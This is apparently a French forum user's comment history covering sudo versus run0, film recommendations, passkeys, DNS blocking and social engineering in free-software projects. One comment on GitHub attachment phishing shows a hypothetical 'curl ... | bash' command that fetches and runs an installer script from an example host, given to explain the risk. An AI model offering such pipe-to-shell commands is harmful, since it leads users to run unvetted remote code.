cg a écrit 1360 commentaires

Je pense au contraire que le grand public n'a pas la moindre idée du prix des choses en général. Tu sais combien tu as payé la dernière fois, combien ça coûte sur le marché, mais il y a un manque flagrant d'information qui fait que tu ne peux pas évaluer vraiment.

C'est particulièrement flagrant pour les impôts en France. Mais il y a un remède à ça : tu vas aux États-Unis d'Amérique, et te casses le bras, une belle fracture pas trop grave, tu empruntes 20000$ pour payer l'hôpital. Tu reviens en France et jamais plus tu ne te plains de payer trop d'impôts :).

Pardon j'ai écrit une bêtise : les actions de Polkit sont bien en XML, mais les règles sont en JavaScript.

(note: le sujet "sudo pas bien, run0 bien" est aussi abordé ici : sudo" is very very useful […] sudo has serious problems though).

Perso je trouve intéressant de questionner les piles de trucs qu'on considère comme normaux sous Unix/Linux, et qu'on conserve comme un héritage précieux. Parfois c'est juste un hack qui contourne une limitation transformé en relique sacrée. Il y a quelques trucs bien qui ressortent du coup de pied dans la fourmilière que représente systemd¹.

Donc, changer sudo par autre chose. Pourquoi ? Avoir une granularité plus grande dans les fonctions exécutables en root, et contourner la flemme intersidérale qui fait qu'on termine trop souvent avec un (ALL : ALL) NOPASSWD: ALL dans le sudoers.

Toutefois, ici, le remplacement est d'une complexité bien plus grande que sudo ! La configuration fine se fait par des snippets de configuration Polkit, qui ne sont autre que des fichiers XML qui font référence à des actions encodées dans d'autres fichiers XML, qui correspondent à des interfaces type org.freedesktop.machine1.host-login. Écrire un fichier polkit est un vrai sujet en soi.

Bref, je trouve la question de la gestion des droits admin légitime, mais la solution proposée un peu moyenne car finalement plus complexe. Peut-être que pour un usage de bureau c'est un mal nécessaire.

À comparer à d'autres solutions comme les capabilities (et aussi Root As Role)

Au final, peut-être que l'intérêt de tout ça est d'arriver à standardiser la gestion des droits au travers des interfaces freedesktop.

Ma conclusion pour mon usage est que je vais suivre run0 de loin, et si ça donne un truc intéressant, je raccrocherai les wagons.

Ces dernières années, pour des films Français vraiment supers, ou simplement sympa à regarder, dans des genre assez différents, je pourrais te conseiller, sans ordre particulier :

• Portrait de la jeune fille en feu
• Anatomie d'une chute
• Le règne animal
• Adieu les cons
• À plein temps
• Annie colère
• En corps
• Dheepan (bon 9 ans, ça commence à dater)

En série, je n'ai pas vu grand chose, mais ces deux-ci sont chouettes :

• Le monde de demain (Arte, sur les débuts du hop-hop en France)
• Polar Park (Arte aussi, un polar loufoque)

Sur Youtube, la mini-série Umoristique Les terroristes du quotidien est sympa, mais l'épisode Le mec qui comprend pas les exemples est sur le dessus du panier.

En pas Français mais d'Europe, il y a l'excellent Woman at war de Benedikt Erlingsson, et la série dano-suédoise Bron/Broen (The Bridge).

Entre le conte et le jeu vidéo, en production nord-américaine, tu pourrais aimer Riddle of Fire (Conte de feu).

Ce n'est pas suffisant, heureusement, mais en recoupant plusieurs éléments, tu peux monter un dossier (voir le blog de Zythom, d'ailleurs, c'est passionnant). Ça demande sans doute des moyens colossaux, qui seraient peut-être mieux utilisés dans la mise en place et le financement d'une licence globale, par exemple.

Tu as raison. Mais justement la réflexion de l'ARCOM, et sans doute d'autres institutions, est de voir comment limiter l'impact du contournement des mesures mise en place en France, par exemple en obligeant les opérateurs de VPN ou de DNS de tous les pays à conserver les logs et à devoir les fournir aux agences genre Hadopi en cas d'enquête. Pour le faire niveau mondial, bonjour.

C'est encore une bonne démonstration que mettre en place des mesures techniques (DNS menteur) pour régler un problème social (le piratage) ne fonctionne pas.

Sudo permet aussi de donner les droits vers un autre utilisateur que root. On peut parfois s'en sortir avec suid mais c'est beaucoup moins granulaire.

Par exemple avec sudo, tu peux donner le droit à l'utilisateur de l'agent zabbix de lancer des commandes précises en tant que root, pour interroger du matériel par exemple (comme voir l'état d'un volume raid mais sans autoriser la destruction du volume pour autant). Ou pour récupérer les stats d'une base mariadb avec le user mariadb.

Il y a plein de situations où c'est très pratique. Je ne saurais m'en passer :).

Par contre, oui, donner le shell root comme c'est le cas à trop d'endroits, c'est souvent dispensable.

Un remote dd pour copier des fichiers ? Malheureux ! Tout l'enjeu est de s'en débarrasser :).

DDaaS (Dumpster Diving as a Service) c'est le moteur de recherche dans les poubelles, utilisé par les partenaires comme expliqué dans Privacy.

Et puis pour <, merci mais si en plus faut installer un shell, c'est l'usine à Gaz (UaGaaS ?)…

C'est ringard ces technos, le script one-less-to-go.sh devrait être réécrit en Rust ou en Zig.

Et la sélection du fichier devrait être faite à partir du service Random-as-a-Service, pas avec shuf, ça introduit une dépendance système à coreutils inutile sinon.

En plus il n'y a pas d'API Serverless, le comble pour un service Useless.

Dommage car j'avais plein de données à supprimer, je vais devoir racheter un nouveau NAS 200To.

On peut quand même leur accorder qu'ils ont un bon succès, témoin cette prochaine IPO montée dans le plus grand secret avec l'excellent Dumpser-Diving-as-a-Service (DDaaS).

Le billet de blog Passkeys: A Shattered Dream par l'auteur principal de la bibliothèque webauthn-rs est très intéressant. (par contre c'est en Anglais)

C'est peut-être que tu retires le support trop tôt, ou alors c'est un bug de l'installeur qui cherche à écrire un dernier log.

Tada :o) !

#define SAFE_FREE(ptr) free(ptr)

Oui, par exemple dans Debian et ses dérivés, il y a un répertoire /var/log/installer/ qui contient tout ce qu'il s'est passé pendant l'installation.

Oui c'est vrai, ça semble logique.

Ceci dit, si un utilisateur supprime son compte, que devient le fichier ? Le lien doit être banalisé genre "https://github.com/deleted-user-{UUID_de_l_utilisateur_supprimé}/files/{identifiant_du_fichier}/{nom_du_fichier}".

Ceci étant, ce n'est pas forcément critique de perdre des pièces jointes dans un commentaire, mais bon, il doit bien y avoir des cas où ça ne fonctionne pas. Je souhaite bien du courage à GitHub pour ce petit casse-tête !

Je suis d'accord et pas d'accord avec toi que le terme est tangent. Ce n'est pas une faille technique, mais ça exploite une faille humaine. Quand on voit comment ça se passe avec le phishing par mail, c'est plutôt astucieux. On nous habitue à vérifier les URLs dans les mails, etc… Et là ça fait des URLs toutes jolies.

Il n'y a pas de mécanisme permettant de différencier qu'un fichier a été déposé par un membre du projet vs une personne random. Une petite icône à côté des fichiers posés par un tiers peut mitiger le problème, par exemple, ou un schéma un peu différent.

Exemple :

Pour installer la police de caractères ScreamingTurtle utilisée par YoupiScanner, faites simplement :

curl https://example.com/microsoft/msfonts/files/abc123def456/screamingturtle-font-installer.sh | bash¹

Si l'URL était comme ceci :

curl https://example.com/microsoft/msfonts/comments-uploads/files/abc123def456/screamingturtle-font-installer.sh | bash

peut-être que dans 2% des cas on ne download pas le fichier.

Ça devrait te parler : RETEX Incident de sécurité au CHU de Brest.

Attention, âmes sensibles s'abstenir !

Le petit guide "mais que faire en cas d'attaque".

C'est ambigu :

~ $ python
>>> "157"*231
'157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157157'

(un peu en avance sur le trolldi, désolé)

C'est plus équivalent à une paire clé privée/clé publique pour SSH. Ce n'est pas un mot de passe connu de toi et du service (Pre-Shared Key). Dans le cas des passkeys, la clé privée ne sort jamais du gestionnaire de mots de passe ou de la clé de sécurité.

Par contre, et c'est là que ça devient tangent, ça laisse croire qu'il n'y a magiquement plus besoin de s'occuper de ses mots de passe ou de sa sécurité. Hors, si les passkeys (ou des mots de passes classiques) sont stockées dans un téléphone ou un ordi qui ne sont pas sauvegardés (c'est à dire probablement la majorité), en cas de perte de l'appareil, c'est game over. Perso, je n'ai pas de solution à ça :(.

L'article de Clubic dit :

les différents acteurs majeurs de la tech se sont convertis aux passkeys, ces identifiants biométriques remplaçant les traditionnels mots de passe.
[…]
Les passkeys utilisent, quant à eux, l'identification biométrique

C'est formulé très clairement, et c'est totalement faux ! Sur mon PC Linux, j'ai Bitwarden qui stocke des passkeys (par exemple pour Github), et il n'y a aucun capteur biométrique. Sur mon téléphone, je peux déverrouiller Bitwarden avec une empreinte digitale, mais c'est totalement optionnel, je peux aussi le faire avec ma Yubikey ou un TOTP, et accéder à mes passkeys, entre autres identifiants.

Que les GAFAM soient en position dominante et proposent des services captifs c'est chiant, mais pas la peine de mentir ou de dire des semi-vérités.

Oui, c'est pénible d'avoir des pages de superlatifs supralaxatifs sans arriver à saisir ce que ce logiciel qui va changer le monde peut faire vraiment pour toi.

Une variante est quand il y a plusieurs gammes ou plusieurs offres. Elles sont toutes excellentes et parfaites (best in class, best value, state of the art, cutting edge…). Que faut-il choisir, la meilleure ou la encore plus meilleure ?

Souvent, aller voir sur Wikipedia (exemple pour Netlify) permet d'y voir plus clair.

Un super contre-exemple que j'adore, c'est cet extrait du début de la doc de The Bastion :

Wait, what's a bastion exactly? (in 140-ish characters)

A so-called bastion is a machine used as a single entry point by operational teams (such as sysadmins, developers, devops, database admins, etc.) to securely connect to other machines of an infrastructure, usually using ssh.

The bastion provides mechanisms for authentication, authorization, traceability and auditability for the whole infrastructure.

La page de Tracim est plutôt bien faite aussi, on peut faire le tour des fonctions principales et cas d'usage en lisant en diagonale.

C'est un bel infomercial pour la solution de Proton et leurs autres produits. Des gestionnaires de mots de passe comme Bitwarden, KeepassXC et autres concurrents de Proton Pass gèrent les passkeys, ce sur quoi l'article fait gentiment l'impasse¹.

Et si on a une clé de sécurité physique comme une Nitrokey, une Titankey ou une Yubikey, ça gère les passkeys et le FIDO2 aussi.

Bref, avec tout le respect que j'ai pour Proton, cet article ne me semble pas totalement honnête, c'est dommage.

Mais, mais, ce n'est ni en France ni dans la Communauté Européenne !

Et on dirait que l'offre n'est pas gratuite, mais comprise avec l'achat d'un nom de domaine, donc autour de 5-15€ par an.

Merci pour ce pavé, c'est intéressant !

La lecture de ton second paragraphe m'a fait me demander un truc, quand même. Est-ce que tu as des attentes différentes pour les logiciels propriétaires (gratuit ou payant) ? Par exemple, la sensation que tu ne peux pas contacter les devs. Tu trouves ça attendu (voire normal) d'avoir une backdoor dans le logiciel s'il est proprio ?

Pour revenir sur l'article, je crois que le propos est de dire que les faiblesses humaines sont plus faciles à exploiter sur les petits projets libres, pour ces raisons :

• en tant qu'humain, on cherche à avoir des interactions. Avoir un camarade qui réfléchit et participe, ça fait du bien ;
• les projets libres, surtout les petits, ont un héritage culturel et une gouvernance qui font que c'est plus facile de participer¹.

Ces deux traits forment un modèle de menace, j'imagine qu'il vaut mieux en être conscient. Cette menace existe aussi dans les projets proprios, mais la barre est plus haute pour entrer.

Un petit gag en vidéo pour terminer : Linus Torvalds Admits He's Been Asked To Insert Backdoor Into Linux

Si tu pars du principe que l'utilisateur lit et comprend la licence, aussi…